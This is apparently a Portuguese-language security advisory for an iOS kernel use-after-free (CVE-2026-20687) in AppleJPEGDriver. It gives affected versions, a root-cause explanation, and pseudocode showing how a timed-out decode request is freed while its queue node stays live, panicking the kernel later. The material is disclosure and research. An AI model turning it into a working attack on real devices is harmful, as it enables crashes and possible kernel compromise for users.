
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidade do kernel iOS/macOS que leva a pânico adiado (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 · Enfilade · enfilade.io
Componente: Kernel
Impacto: Um app pode ser capaz de causar término inesperado do sistema ou gravar memória do kernel.
Descrição: Um problema de use after free foi resolvido com gerenciamento de memória aprimorado.
| iOS | 26.3 (23D125) (testado) |
| macOS | — |
| Componente | AppleJPEGDriver |
| Corrigido | iOS 26.4 / iPadOS 26.4 |
| Hardware | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
Executar o PoC causará kernel panic no dispositivo. Salve seu trabalho antes de executar. Panics repetidos podem causar corrupção do sistema de arquivos. Apenas para fins de pesquisa em segurança.
O caminho de timeout em startDecoder_sync libera uma requisição, mas deixa seu ponteiro de nó de fila embutido no vetor por-codec. Uma varredura posterior da fila desreferencia o nó obsoleto e o kernel entra em panic sob a verificação de tag MTE. O panic normalmente é adiado até que uma decodificação JPEG síncrona subsequente seja executada — no iPhone, isso ocorre de forma confiável quando o app Câmera é aberto.
// Prepara o driver; o panic normalmente é adiado até que a Câmera seja aberta.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// Mais tarde, abrir a Câmera aciona:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: NÃO remove da fila (req + 0x78)
// Ainda mais tarde (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // obsoleto: node_ptr == (req liberado + 0x78)
req2 = *(node_ptr + 0x8); // leitura UAF -> falha de tag MTE -> panic
ios-app/Test.xcodeproj no Xcode.Consulte LICENSE.